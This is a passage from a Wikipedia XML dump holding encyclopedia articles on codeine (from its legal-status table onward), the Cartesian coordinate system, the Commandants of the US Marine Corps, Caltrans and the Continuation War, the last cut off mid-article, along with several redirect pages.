| bgcolor=&quot;#eeeeee&quot; | [[Regulation of therapeutic goods|Legal status]]
| bgcolor=&quot;#ddeeff&quot; | Schedule 8 ([[Australia]]),&lt;br&gt;Schedule II ([[United States]]),&lt;br&gt;Class B ([[United Kingdom|UK]]),&lt;br&gt; CDSA Schedule I ([[Canada]])
|-
| bgcolor=&quot;#eeeeee&quot; | Routes of administration
| bgcolor=&quot;#ddeeff&quot; | oral, [[subcutaneous|SC]], [[intramuscular|IM]]
|}

'''Codeine''' ([[International Nonproprietary Name|INN]]) or '''methylmorphine''' is an [[opioid]] used for its [[analgesic]], [[antitussive]] and antidiarrheal properties. It is marketed as the salts '''codeine sulfate''' and '''codeine phosphate'''.

Codeine is an [[alkaloid]] found in [[opium]] in concentrations ranging from 0.7 to 2.5 [[percent]]. While codeine can be extracted from opium, most codeine used in the [[United States]] is synthesized from [[morphine]] through the process of O-[[methylation]].

==Indications==
Approved indications for codeine include:
*[[Cough]], though its efficacy has been disputed (Schroeder &amp; Fahey, 2001)
*[[Diarrhea]]
*Mild to moderate [[pain]]

Codeine is sometimes marketed in combination preparations with [[paracetamol]] (acetaminophen) as [[co-codamol]], with [[aspirin]] [[co-codaprin]] or with [[ibuprofen]]. These combinations provide greater pain relief than either agent used singly (q.v. [[Synergy#Drug Synergism|Drug Synergy]]).

==Controlled substance==
In the [[United States]], codeine is regulated by the [[Controlled Substances Act]].  It is a Schedule II controlled substance for pain-relief products containing codeine alone.  In combination with aspirin or acetaminophen ([[paracetamol]]) it is listed as Schedule III.  Codeine is also available outside the United States as an [[over-the-counter_substance|over-the-counter medication]] (Schedule V) in liquid cough-relief formulations. Internationally, codeine is a Schedule II drug under the [[Single Convention on Narcotic Drugs]].[http://www.incb.org/pdf/e/list/yellow.pdf]

In the [[United Kingdom]], codeine is regulated by the [[Misuse of Drugs Act 1971]]; it is a [[Misuse of Drugs Act 1971#Class B drugs|Class B Drug]].

In [[Australia]] and [[Canada]], codeine is regulated, however it is available without prescription in combination preparations from licensed pharmacists in doses up to 15&amp;nbsp;mg/tablets.

==Pharmacokinetics==
Codeine is considered a [[prodrug]], since it is metabolised ''[[in vivo]]'' to the principal active analgesic agent [[morphine]]. It is, however, less potent than morphine since only about 10% of the codeine is converted. It also has a correspondingly lower [[drug addiction|dependence]]-liability than morphine.

Theoretically, a dose of approximately 200&amp;nbsp;mg (oral) of codeine must be administered to give equivalent analgesia to 30&amp;nbsp;mg (oral) of morphine (Rossi, 2004). It is not used, however, in single doses of greater than 60mg (and no more than 240&amp;nbsp;mg in 24 hours) since there is a [[ceiling effect]].

The conversion of codeine to morphine occurs in the liver and is catalysed by the [[cytochrome P450]] enzyme [[CYP2D6]]. Approximately 6&amp;ndash;10% of the Caucasian population have poorly functional CYP2D6 and codeine is virtually ineffective for analgesia in these patients (Rossi, 2004). Many of the adverse effects, however, are still experienced. Also, some medications are CYP2D6 inhibitors and reduce or even completely eliminate the efficacy of codeine. The most notorious of these are the [[selective serotonin reuptake inhibitor]]s, such as [[fluoxetine]] (Prozac) and [[citalopram]] (Celexa).

==Pharmacology==
{{main|opioid receptor}}

Codeine itself has weak affinity for the [[opioid receptor#The μ-opioid receptor|&amp;mu;-opioid receptor]]. Its principal analgesic actions are mediated by the affinity of morphine for the &amp;mu;-opioid receptor, though other therapeutic and adverse effects are produced by activation of other opioid receptors.

==Adverse effects==
Common adverse drug reactions (ADRs) associated with the use of codeine include: Itching, nausea, vomiting, drowsiness, dry mouth, [[miosis]], [[orthostatic hypotension]], urinary retention and constipation. (Rossi, 2004)

Tolerance to many of the effects of codeine develop with prolonged use, including therapeutic effects. The rate at which this occurs develops at different rates for different effects, with tolerance to the constipation-inducing effects developing particularly slowly for instance.

A potentially serious ADR, as with other opioids, is [[respiratory depression]]. This depression is dose-related and is the mechanism for the potentially fatal consequences of overdose.

==Recreational use==
Codeine is often used as a [[recreational drug]]. This may be due to its easy availability [[over-the-counter]] or on [[prescription]] in combination products (which, in the certain countries, are scheduled lower than codeine as a single-agent). People use it in order to obtain the [[euphoria|euphoric]] effects associated with use of opioids.
* In certain areas of the United States; more specifically Texas, codeine syrup form is called '''Lean'''.  It is commonly mixed with alcohol, or a [[Blunt_%28drug_culture%29|blunt]] and smoked.  It has been said this is done because it makes you &quot;lean&quot;.
* In some countries, cough syrups and tablets containing codeine are available without prescription; people will frequently purchase it from multiple pharmacies so as not to incur suspicions. It is reported that in [[France]], 95% of the consumption of ''Néo-codion'' cough preparation, containing codeine, cannot be attributed to medical use, but is rather used as a substitute for [[heroin]].
* In the [[United Kingdom]], people purchase tablets which combine codeine and [[paracetamol]] (acetaminophen), and consume these at higher-than-recommended doses, without apparent concern of the hepatotoxicity associated with large doses of paracetamol. Some may try to [[extraction|extract]] the codeine from the paracetamol through various methods, the most common and simplest being the [[cold water extraction]].
* While the combination of codeine with [[paracetamol]], at higher-than-recommended doses, can possibly cause hepatotoxicity ([[liver]] damage), combination with [[ibuprofen]] can result in [[kidney]] problems/failure and additional [[stomach]] pain and [[nausea]] and combination with [[aspirin]] can lead to internal [[hemorrhage|hemorrhaging]], particularly [[gastrointestinal]] hemorrhage.

Certain codeine products are encountered on the illicit market, frequently in combination with [[carisoprodol]].  Combinations of codeine and glutethimide (Doriden) used to be fairly commonplace, but are almost unheard of today, due to the withdrawal of glutethimide products from the marketplace in the US and almost all other countries.

==References==
* Rossi S (Ed.) (2004). ''[[Australian Medicines Handbook]] 2004''. Adelaide: Australian Medicines Handbook. ISBN 0-9578521-4-2.
* Schroeder K &amp; Fahey T (2004). Over-the-counter medications for acute cough in children and adults in ambulatory settings. ''The [[Cochrane Library|Cochrane Database of Systematic Reviews]]'' '''2004''' (4), DOI:10.1002/14651858.CD001831.pub2.

==See also==
*[[dihydrocodeine]]
*[[morphine]]
{{Analgesics}}

[[Category:Alkaloids]]
[[Category:Analgesics]]
[[Category:Antitussives]]
[[Category:Natural opium alkaloids]]
[[Category:Opioids]]
[[Category:Schedule II controlled substances]]
[[Category:Schedule III controlled substances]]
[[Category:Schedule V controlled substances]]

[[da:Kodein]]
[[de:Codein]]
[[es:Codeína]]
[[eo:Kodeino]]
[[fr:Codéine]]
[[it:Codeina]]
[[he:קודאין]]
[[hu:Kodein]]
[[ms:Kodeina]]
[[nl:Codeïne]]
[[no:Kodein]]
[[pl:Kodeina]]
[[pt:Codeína]]
[[ru:Кодеин]]
[[sk:Kodeín]]
[[fi:Kodeiini]]
[[sv:Kodein]]
[[th:โคดีอีน]]
[[tr:Kodein]]
[[uk:Кодеїн]]</text>
    </revision>
  </page>
  <page>
    <title>Cartesian Coordinate System</title>
    <id>7704</id>
    <revision>
      <id>15905761</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cartesian_coordinate_system]]
</text>
    </revision>
  </page>
  <page>
    <title>Cartesian coordinates</title>
    <id>7705</id>
    <revision>
      <id>15905762</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cartesian coordinate system]]
</text>
    </revision>
  </page>
  <page>
    <title>Cartesian coordinate system</title>
    <id>7706</id>
    <revision>
      <id>41535253</id>
      <timestamp>2006-02-28T00:21:16Z</timestamp>
      <contributor>
        <username>Gustavb</username>
        <id>298588</id>
      </contributor>
      <comment>png-&gt;svg</comment>
      <text xml:space="preserve">'''''Cartesian''''' means relating to the [[France|French]] [[mathematician]] and [[philosopher]] [[René Descartes|Descartes]], who, among other things, worked to merge [[algebra]] and [[Euclidean geometry]]. This work was influential in the development of [[analytic geometry]], [[calculus]], and [[cartography]].

The idea of this system was developed in [[1637]] in two [[writing]]s by Descartes. In [[Discourse on Method]], in part two, he introduces the new idea of specifying the position of a [[point (geometry)|point]] or object on a surface, using two intersecting axes as measuring guides. In [[La Géométrie]], he further explores the above-mentioned concepts.

== Two-dimensional coordinate system ==

The modern Cartesian [[coordinate system]] in two dimensions (also called a '''rectangular coordinate system''') is commonly defined by two axes, at [[right angle|right angles]] to each other, forming a plane (an ''xy''-plane).  The [[horizontal]] axis is labeled ''x'', and the [[vertical]] axis is labeled ''y''.  In a three dimensional coordinate system, another axis, normally labeled ''z'', is added, providing a sense of a third dimension of space measurement. The axes are commonly defined as mutually orthogonal to each other (each at a right angle to the other).  (Early systems allowed &quot;oblique&quot; axes, that is, axes that did not meet at right angles.) All the points in a Cartesian coordinate system taken together form a so-called '''Cartesian plane'''. Equations that use the Cartesian coordinate system are called '''Cartesian equations'''.

The point of intersection, where the axes meet, is called the ''origin'' normally labeled ''O''.
With the ''origin'' labeled ''O'', we can name the ''x'' axis ''Ox'' and the ''y'' axis ''Oy''.
The ''x'' and ''y'' axes define a plane that can be referred to as the ''xy'' plane.
Given each axis, choose a unit length, and mark off each unit along the axis, forming a grid.
To specify a particular point on a two dimensional coordinate system, you indicate the ''x'' unit first ('''abscissa'''), followed by the ''y'' unit ('''ordinate''') in the form ''(x,y)'', an ordered pair.
In three dimensions, a third ''z'' unit ('''applicate''') is added, ''(x,y,z)''.

The choices of letters come from the original convention, which is to use the latter part of the alphabet to indicate unknown values.  The first part of the alphabet was used to designate known values.

An example of a [[point_(spatial)|point]] ''P'' on the system is indicated in the picture below using the coordinate (3,5).

[[Image:Cartesian coordinates 2D.svg|400px]]

The arrows on the axes indicate that they extend forever in the same direction (i.e. infinitely).  
The intersection of the two x-y axes creates four quadrants indicated by the Roman numerals I, II, III, and IV.  Conventionally, the quadrants are labeled counter-clockwise starting from the northeast quadrant.  In Quadrant I the values are (''x'',''y''), and II:(-''x'',''y''), III:(-''x'',-''y'') and IV:(''x'',-''y'').  (see table below.)

{| border=0 cellspacing=0 cellpadding=0 width=40%
 |-
 ! Quadrant !! x-values !! y-values
 |- align=center
 | I   || &gt; 0 || &gt; 0
 |- align=center
 | II  || &lt; 0 || &gt; 0
 |- align=center
 | III || &lt; 0 || &lt; 0
 |- align=center
 | IV  || &gt; 0 || &lt; 0
 |}

== Three-dimensional coordinate system ==
Sometime in the early [[19th century]] the third dimension of measurement was added, using the ''z''-axis.

[[Image:Cartesian coordinates 3D.png]]

The coordinates in a three dimensional system are of the form ''(x,y,z)''.  An example of two [[point_(spatial)|point]]s plotted in this system are in the picture above, points ''P''(3,0,5) and ''Q''(&amp;minus;5,&amp;minus;5,7).  Notice that the axes are depicted in a world-coordinates orientation with the ''z''-axis pointing up.

The ''x''-, ''y''-, and ''z''-coordinates of a point (say ''P'') can also be taken as the distances from the ''yz''-plane, ''xz''-plane, and ''xy''-plane respectively. The figure below shows the distances of point P from the planes.

[[Image:Coor planes Color.png|400px]]

The ''xy''-, ''yz''-, and ''xz''-planes divide the three-dimensional space into eight subdivisions known as [[octant]]s, similar to the quadrants of 2D space.  While conventions have been established for the labeling of the four quadrants of the ''x'-''y'' plane, only the first octant of three dimensional space is labeled.  It contains all of the points whose ''x'', ''y'', and ''z'' coordinates are positive.  That is, no point in the first octant has a negative coordinate.
The three dimensional coordinate system provides the physical dimensions of space &amp;mdash; height, width, and length, and this is often referred to as &quot;the three dimensions&quot;.  It is important to note that a dimension is simply a measure of something, and that, for each class of features to be measured, another dimension can be added.  Attachment to visualizing the dimensions precludes understanding the many different dimensions that can be measured (time, mass, color, cost, etc.).  It is the powerful insight of Descartes that allows us to manipulate multi-dimensional object algebraically, avoiding compass and protractor for analyzing in more than three dimensions.

=== Orientation and &quot;handedness&quot; ===
The three-dimensional Cartesian coordinate system presents a problem.  Once the ''x''- and ''y''-axes are specified, they determine the [[line (mathematics)|line]] along which the ''z''-axis should lie, but there are two possible directions on this line.  The two possible coordinate systems which result are called 'right-handed' and 'left-handed'.

The origin of these names is a trick called the [[right-hand rule]] (and the corresponding left-hand rule).  If the forefinger of the right hand is pointed forward, the middle finger bent inward at a right angle to it, and the thumb placed a right angle to both, the three fingers indicate the relative directions of the ''x''-, ''y''-, and ''z''-axes respectively in a ''right-handed'' system.  Conversely, if the same is done with the left hand, a left-handed system results.

The right-handed system is universally accepted in the physical sciences, but the left-handed is also still in use.

[[image:Coordinate system handedness.PNG|center|frame|The left-handed orientation is shown on the left, and the right-handed on the right.]]

If a point plotted with some coordinates in a right-handed system is replotted with the same coordinates in a left-handed system, the new point is the mirror image of the old point about the ''xy''-plane.
[[image:Right_hand_cartesian.JPG|center|frame|The right-handed Cartesian coordinate system indicating the coordinate planes.]]

More ambiguity occurs when a three-dimensional coordinate system must be drawn on a two-dimensional page.  Sometimes the ''z''-axis is drawn diagonally, so that it seems to point out of the page.  Sometimes it is drawn vertically, as in the above image (this is called a ''world coordinates'' orientation).

== Further notes ==
In [[analytic geometry]] the Cartesian coordinate system is the foundation for the algebraic manipulation of geometrical shapes.  Many other coordinate systems have been developed since Descartes.  One common set of systems use [[coordinates (elementary mathematics)|polar coordinates]]; astronomers often use [[spherical coordinates]], a type of polar coordinate system.  In different branches of mathematics coordinate systems can be transformed, translated, rotated, and re-defined altogether to simplify calculation and for specialized ends.

It may be interesting to note that some have indicated that the master artists of the [[Renaissance]] used a grid, in the form of a wire mesh, as a tool for breaking up the component parts of their subjects they painted--a [[trade secret]].  That this may have influenced Descartes is merely speculative.  (See [[perspective]], [[projective geometry]].)

== References ==
Descartes, René. Oscamp, Paul J. (trans). ''Discourse on Method, Optics, Geometry, and Meteorology''. [[2001]].

== See also ==
*[[Solution point]]
*[[Graph paper]]

== External links ==

*[http://www.pdfpad.com/graphpaper/ Graph Paper]
*[http://www.cut-the-knot.org/Curriculum/Calculus/Coordinates.shtml Cartesian Coordinate System]

[[Category:Coordinate systems]]
[[Category:Elementary mathematics]]
[[Category:Dimension]]

[[bg:Декартова координатна система]]
[[cs:Kartézská soustava souřadnic]]
[[de:Kartesisches Koordinatensystem]]
[[eo:Kartezia Koordinato]]
[[fr:Système de coordonnées cartésiennes]]
[[ko:데카르트 좌표계]]
[[is:Kartesíusarhnitakerfið]]
[[he:מערכת צירים קרטזית]]
[[nl:Cartesisch coördinatenstelsel]]
[[ja:直交座標系]]
[[pl:Kartezjański układ współrzędnych]]
[[pt:Sistema de coordenadas cartesiano]]
[[ru:Прямоугольная система координат]]
[[sk:Karteziánska sústava súradníc]]
[[sl:Kartezični koordinatni sistem]]
[[sv:Kartesiskt koordinatsystem]]
[[vi:Hệ tọa độ Descartes]]
[[uk:Декартова система координат]]
[[zh:直角坐标系]]</text>
    </revision>
  </page>
  <page>
    <title>Churchill</title>
    <id>7707</id>
    <revision>
      <id>26760920</id>
      <timestamp>2005-10-29T02:55:55Z</timestamp>
      <contributor>
        <ip>4.242.147.107</ip>
      </contributor>
      <comment>Revert, nevermind</comment>
      <text xml:space="preserve">#REDIRECT [[Winston Churchill]]</text>
    </revision>
  </page>
  <page>
    <title>Commandant of the Marine Corps</title>
    <id>7708</id>
    <revision>
      <id>37716933</id>
      <timestamp>2006-02-01T19:35:21Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] per [[WP:CFD]] speedy</comment>
      <text xml:space="preserve">The '''Commandant of the United States Marine Corps''' is the highest ranking officer of the [[United States Marine Corps]] and a member of the [[Joint Chiefs of Staff]], reporting to the [[Secretary of the Navy]] but not to the [[Chief of Naval Operations]].  As with the other joint chiefs, the commandant is responsible for ensuring the organization and readiness of his respective service branch and for advising the President.  However, as with the other joint chiefs, the commandant has no operational command authority.

{|
| 1. || [[Samuel Nicholas]] || &amp;nbsp; 
| ([[November 28|28 Nov.]], [[1775]]&amp;nbsp; || &amp;ndash; &amp;nbsp;
|  [[August 27|27 Aug.]], [[1783]])
|-
| 2. || [[William W. Burrows]] || 
| ([[12 July]], [[1798]] || &amp;ndash;
|  [[6 March|6 Mar.]], [[1804]])
|-
| 3. || [[Franklin Wharton]] || 
| ([[7 March|7 Mar.]], [[1804]] || &amp;ndash;
|  [[September 1|1 Sept.]], [[1818]])
|-
| 4. || [[Anthony Gale]] || 
| ([[3 March|3 Mar.]], [[1819]] || &amp;ndash;
|  [[8 October|8 Oct.]], [[1820]])
|-
| 5. || [[Archibald Henderson]] || 
| ([[October 17|17 Oct.]], [[1820]] || &amp;ndash;
|  [[January 6|6 Jan.]], [[1859]])
|-
| 6. || [[John Harris (USMC)|John Harris]] || 
| ([[January 7|7 Jan.]], [[1859]] || &amp;ndash;
|  [[1 May]], [[1864]])
|-
| 7. || [[Jacob Zeilin]] || 
| ([[10 June]], [[1864]] || &amp;ndash;
|  [[October 31|31 Oct.]], [[1876]])
|-
| 8. || [[Charles G. McCawley]] || 
| ([[November 1|1 Nov.]], [[1876]] || &amp;ndash;
|  [[January 29|29 Jan.]], [[1891]])
|-
| 9. || [[Charles Heywood]] || 
| ([[30 June]], [[1891]] || &amp;ndash;
|  [[October 2|2 Oct.]], [[1903]])
|-
| 10. || [[George F. Elliott]] || 
| ([[October 3|3 Oct.]], [[1903]] || &amp;ndash;
|  [[November 30|30 Nov.]], [[1910]])
|-
| 11. || [[William P. Biddle]] || 
| ([[February 3|3 Feb.]], [[1911]] || &amp;ndash;
|  [[February 24|24 Feb.]], [[1914]])
|-
| 12. || [[George Barnett]] || 
| ([[February 25|25 Feb.]], [[1914]] || &amp;ndash;
|  [[30 June]], [[1920]])
|-
| 13. || [[John A. Lejeune]] || 
| ([[1 July]], [[1920]] || &amp;ndash;
|  [[4 March|4 Mar.]], [[1929]])
|-
| 14. || [[Wendall C. Neville]] || 
| ([[5 March|5 Mar.]], [[1929]] || &amp;ndash;
|  [[8 July]], [[1930]])
|-
| 15. || [[Ben H. Fuller]] || 
| ([[9 July]], [[1930]] || &amp;ndash;
|  [[February 28|28 Feb.]], [[1934]])
|-
| 16. || [[John H. Russell, Jr.]] || 
| ([[1 March|1 Mar.]], [[1934]] || &amp;ndash;
|  [[November 30|30 Nov.]], [[1936]])
|-
| 17. || [[Thomas Holcomb]] || 
| ([[December 1 | 1 Dec.]], [[1936]] || &amp;ndash;
|  [[December 31|31 Dec.]], [[1943]])
|-
| 18. || [[Alexander A. Vandegrift]] || 
| ([[January 1| 1 Jan.]], [[1944]] || &amp;ndash;
|  [[December 31|31 Dec.]], [[1947]])
|-
| 19. || [[Clifton B. Cates]] || 
| ([[January 1| 1 Jan.]], [[1948]] || &amp;ndash;
|  [[December 31|31 Dec.]], [[1951]])
|-
| 20. || [[Lemuel C. Shepherd, Jr.]] || 
| ([[January 1| 1 Jan.]], [[1952]] || &amp;ndash;
|  [[December 31|31 Dec.]], [[1955]])
|-
| 21. || [[Randolph M. Pate]] || 
| ([[January 1| 1 Jan.]], [[1956]] || &amp;ndash;
|  [[December 31|31 Dec.]], [[1959]])
|-
| 22. || [[David M. Shoup]] || 
| ([[January 1| 1 Jan.]], [[1960]] || &amp;ndash;
|  [[December 31|31 Dec.]], [[1963]])
|-
| 23. || [[Wallace M. Greene, Jr.]] || 
| ([[January 1| 1 Jan.]], [[1964]] || &amp;ndash;
|  [[December 31|31 Dec.]], [[1967]])
|-
| 24. || [[Leonard F. Chapman, Jr.]] || 
| ([[January 1| 1 Jan.]], [[1968]] || &amp;ndash;
|  [[December 31|31 Dec.]], [[1971]])
|-
| 25. || [[Robert Everton Cushman, Jr.]] || 
| ([[January 1|1 Jan.]], [[1972]] || &amp;ndash;
|  [[30 June]], [[1975]])
|-
| 26. || [[Louis H. Wilson, Jr.]] || 
| ([[1 July]], [[1975]] || &amp;ndash;
|  [[30 June]], [[1979]])
|-
| 27. || [[Robert H. Barrow]] || 
| ([[1 July]], [[1979]] || &amp;ndash;
|  [[30 June]], [[1983]])
|-
| 28. || [[Paul X. Kelley]] || 
| ([[1 July]], [[1983]] || &amp;ndash;
|  [[30 June]], [[1987]])
|-
| 29. || [[Alfred M. Gray, Jr.]] || 
| ([[1 July]], [[1987]] || &amp;ndash;
|  [[30 June]], [[1991]])
|-
| 30. || [[Carl E. Mundy, Jr.]] || 
| ([[1 July]], [[1991]] || &amp;ndash;
|  [[30 June]], [[1995]])
|-
| 31. || [[Charles C. Krulak]] || 
| ([[1 July]], [[1995]] || &amp;ndash;
|  [[30 June]], [[1999]])
|-
| 32. || [[James L. Jones]] || 
| ([[1 July]], [[1999]] || &amp;ndash;
|  [[January 12|12 Jan.]], [[2003]])
|-
| 33. || [[Michael W. Hagee]] || 
| ([[January 13|13 Jan.]], [[2003]] || &amp;ndash;
|  [[as of 2005|present]])
|}

[[Category:Joint Chiefs of Staff]]
[[Category:United States Marine Corps Commandants|*]]
[[Category:United States Marine Corps generals|*]]
[[Category:United States Marine Corps organization]]

[[de:Commandant of the Marine Corps]]
[[sl:Komandant Korpusa mornariške pehote Združenih držav Amerike]]</text>
    </revision>
  </page>
  <page>
    <title>California Department of Transportation</title>
    <id>7710</id>
    <revision>
      <id>41284583</id>
      <timestamp>2006-02-26T07:27:17Z</timestamp>
      <contributor>
        <ip>71.139.54.139</ip>
      </contributor>
      <comment>added Devils Slide tunnel project</comment>
      <text xml:space="preserve">[[Image:Caltrans logo.jpg|thumb|right|300px|Caltrans logo]]
[[Image:Glendalefreeway.jpg|thumb|right|300px|The soaring ramps in the stack interchanges favored by Caltrans often provide stunning views.]]
'''Caltrans''' (full name: '''California Department of Transportation''') is a [[government]] agency in the [[U.S. state]] of [[California]]. Its mission is to improve mobility across the state. Caltrans does more than manage the State highway system; it is also actively involved with [[public transportation]] systems in California.

For administrative purposes, Caltrans has divided the state of California into 12 districts supervised by district offices.  Most districts cover multiple [[county|counties]]; District 12 ([[Orange County, California|Orange County]]) is the only district with one county.  The largest districts are District 4 ([[San Francisco Bay Area]]) and District 7 ([[Los Angeles County, California|Los Angeles]] and [[Ventura County, California|Ventura]] counties).

Caltrans has a reputation for being both innovative and stubbornly idiosyncratic.  In 1950, it developed the typeface family now used nationwide on road signs (though not its 2004 replacement, [[Clearview_(typeface)|Clearview]]).  It pioneered [[Botts dots]] as a superior form of [[lane]] marking. It has frequently been criticized for proposing and often constructing ugly bridges and has several times been forced to redesign such structures in response to public outcry. It has long experimented with freeway-to-freeway stack [[Road junction|interchange]]s of increasing height and complexity.  It was the last state highway department in the [[United States]] to number its [[freeway]] exits (the [[Cal-NExUS]] program), and one of the last to switch from dark green &quot;button copy&quot; signs to bright green reflective signs.  In the 1990s, Caltrans aggressively added [[carpool lane]]s on freeways to reduce [[traffic congestion]].  

Although state highways generally adhere to consistent minimum design standards throughout much of the state, there are some policy and construction differences between the northern and southern district offices.  For example, [[Northern California]] [[carpool]] lanes are always directly adjacent to mainline traffic lanes and are restricted to carpools only during weekday commute hours, while [[Southern California]] carpool lanes are always separated from mainline lanes (except at designated entrance/exit areas) and most are restricted at all times.

Over the last several decades Caltrans has supervised extensive [[seismic retrofit|seismic retrofitting]] of structures throughout California, in addition to creating far more stringent design criteria for new constrution.

==History==
[[Image:US101-CA85construction2.jpg|right|thumb|300px|Construction of the redesigned junction of [[U.S. Highway 101]] and [[California State Route 85]], in [[Mountain View, Santa Clara County, California|Mountain View]]. The new design also affects ramps at the Rengstorff Avenue and Shoreline Boulevard interchanges.]]
Caltrans was originally the Division of Highways of the Department of Public Works.  It was reorganized into a separate department in 1973.

=== Important projects ===
Several important projects include [[Interstate 105 (California)|Interstate 105]], the reconstruction of the [[CA-91]]-[[CA-60]]-[[Interstate 215 (California)|I-215]] interchange, and the [[Devil's Slide]] tunnel scheduled to be completed in 2011.

==See also==
*[[FasTrak]]
*[[US Department of Transportation]]
*[[List of roads and highways]]
*[[List of California-related topics]]
*[[Eastern span replacement of the San Francisco-Oakland Bay Bridge]] (CalTrans-related controversy)

{{SFBridges}}

==External links==
*[http://www.dot.ca.gov California Department of Transportation - Website]

[[Category:Transportation in California|Department of Transportation]]
[[Category:Government of California|Transportation]]</text>
    </revision>
  </page>
  <page>
    <title>Continuation War</title>
    <id>7712</id>
    <revision>
      <id>41836143</id>
      <timestamp>2006-03-02T01:33:30Z</timestamp>
      <contributor>
        <username>Dannycas</username>
        <id>276893</id>
      </contributor>
      <minor />
      <comment>/* Interim Peace */</comment>
      <text xml:space="preserve">{{unref}}
'''The Continuation War''' was fought between [[Finland]] and the [[Soviet Union]] during [[World War II]], from the [[Soviet]] bombing attacks on [[June 25]], [[1941]], to [[cease-fire]] [[September 4]], [[1944]] (on the Finnish side) and [[September 5]] (on the Soviet side). The [[United Kingdom]] declared war on Finland on [[December 6]], 1941, but did not participate actively. Material support from, and military cooperation with, [[Germany]] was critical for Finland's struggle with its larger neighbour. The war was formally concluded by the [[Paris Peace Treaties, 1947|Paris peace treaty]] of [[1947]].

[[Image:Continuation-War-1941.png|right|thumb|300px|Relative strengths of Finnish, German and Soviet troops at the start of the Continuation War in June 1941.]]

The Continuation War (''jatkosota'' in [[Finnish (language)|Finnish]], ''Fortsättningskriget'' in [[Finland-Swedish|Swedish]]) is so named in Finland to make clear its relationship to the [[Winter War]] ([[November 30]], [[1939]], to [[March 12]], [[1940]]). Seen from a Russian perspective, it was merely one of the fronts of the [[Great Patriotic War]]. The war was, however, considered separate from the World War by Finland &amp;ndash; an understanding not quite appreciated by the political leadership in Germany, Finland's chief supporter. 

== Introduction ==
Although the Continuation War was fought on the periphery of [[World War II]] and the troops engaged were relatively few, its history is intriguing as it challenges both conventional wisdom about the moral clarity of the Allied effort and the popular and academic theory that democratic countries do not wage war against each other. Technically, the democratic Allied powers declared war against [[Finland]]. But there were no engagements with troops of the chief democratic powers, the [[United States]], the [[United Kingdom]], [[Canada]], and [[Australia]].

During the conflict, Finland acted in concert with [[Germany]] against the [[Soviet Union]], which in turn was allied with [[United Kingdom|Britain]] and, for most of the period, the [[United States]]. Memories of the 1939 [[Winter War]] with the Soviet Union, and the inability of the Allies to support the Finns in it, were key motivators for the alliance with Germany.

The issue was less controversial in Finland, and in hindsight a relatively broad Finnish consensus asserts that the Finns as a people would most likely not have survived the war without cooperating with Nazi Germany. Conventional wisdom among Finns who grew up in the [[1960s]]&amp;ndash;[[1970s|70s]] depicted the Continuation War as a ''Finnish'' mistake. Nowadays, some tend to assert that there was really nothing Finland could have done to avoid the Winter War and the Continuation War &amp;mdash; at least not in the last years before the wars.

Major events of World War II, and the tides of war in general, had significant impact on the course of the Continuation War:
* Germany's invasion of the Soviet Union ([[Operation Barbarossa]]) is closely connected to the Continuation War's beginning.
* The [[Allied]] invasion of [[France]] ([[Battle of Normandy]]) was coordinated with the Soviet major offensive against Finland ([[June 9]]&amp;ndash;[[July 15]], [[1944]]), leading to a five week long [[military alliance|alliance]] between democratic Finland and Germany ([[June 26]] to [[August 4]], [[1944]]).
* The subsequent US/Soviet race to Berlin brought about the end of the Continuation War by rendering [[Northern Europe]] irrelevant.

== Aims of war ==
Finland's main goal during [[World War II]] was, although nowhere literally stated, to survive the war as an independent [[state|country]], capable of maintaining its sovereignty in a politically hostile environment. Specifically for the Continuation War, Finland aimed at reversing its territorial losses under the March 1940 [[Moscow Peace Treaty (1940)|Moscow Peace Treaty]] and by extending the territory further east, to guarantee the survival of the [[Finnic]] brethren in [[East-Karelia]] &amp;mdash; thus in effect aiming at creating a [[Greater Finland]], as advocated by vociferous right-wing groups. Finland's exertion during the World War was, in the former respect, successful, although the price was high in war casualties, reparation payments, territorial loss, bruised international reputation and subsequent adaptation to Soviet international perspectives. 

The [[Soviet Union]]'s war goals are harder to assess on account of the secretive nature of the [[Stalinism|Stalinist]] Soviet Union. The Soviet Union of the [[1930s]] was a militarily weak power, and it can be argued that all of her policies up to the Continuation War are best explained as defensive measures by offensive means: the sharing of [[Poland]] with [[Germany]], the annexation of the [[Baltic state]]s and the attempted invasion of Finland in the Winter War can all be seen as elements in the construction of a security zone between the perceived threat from the [[capitalism|capitalist]] powers of Western Europe and the [[Communism|Communist]] Soviet Union &amp;ndash; similar to the post-war establishment of [[Soviet satellite state]]s in the [[Warsaw Pact]] countries and the [[Agreement of Friendship, Cooperation, and Mutual Assistance]] concluded with post-war Finland. Accordingly, after Germany's attack on the Soviet Union ([[Operation Barbarossa]], [[June 22]], [[1941]]), the [[Red Army]]'s attack on Finland, harbouring not yet unleashed German forces, could be seen as a [[pre-emptive war|pre-emptive]] or [[preventive attack|preventive]] attack aiming to protect Russian civilians and troops: through control of Finland's territory, the threat against Leningrad (i.e. the old imperial capital [[Saint Petersburg]]) and the important harbour in [[Murmansk]] was to be fended off.

== Background ==

=== Before World War II ===

Although [[East Karelia]] has never been part of [[Finland]], a majority of its inhabitants were Finnic people. After the Finnish declaration of independence, voices arose advocating the annexation of [[East Karelia]] to rescue it from oppression. This led to a few excursions to the area ([[Viena expedition]] and [[Aunus expedition]]), but these were unsuccessful. Finland unsuccessfuly raised the question of [[East Karelia]] several times in the [[League of Nations]].

In non-leftist circles, [[Imperial Germany]]'s role in the &quot;[[White Guard (Finland)|White]]&quot; government's victory over rebellious [[Socialist]]s during the [[Civil War in Finland]] was celebrated, although most preferred British or Scandinavian support over that of Germany. The security policy of independent Finland turned first towards a [[cordon sanitaire]], whereby the newly independent nations of [[Poland]], the [[Baltic Republics]] and Finland would form a defensive alliance against Russia, but after negotiations collapsed Finland turned to the [[League of Nations]] for security. Contacts with the Scandinavian countries also met with little success. In [[1932]], Finland and the [[Soviet Union]] signed a [[non-aggression pact]], but even contemporary analysts considered it worthless.

===The Molotov-Ribbentrop Pact and the Winter War ===
{{main|Winter War}}

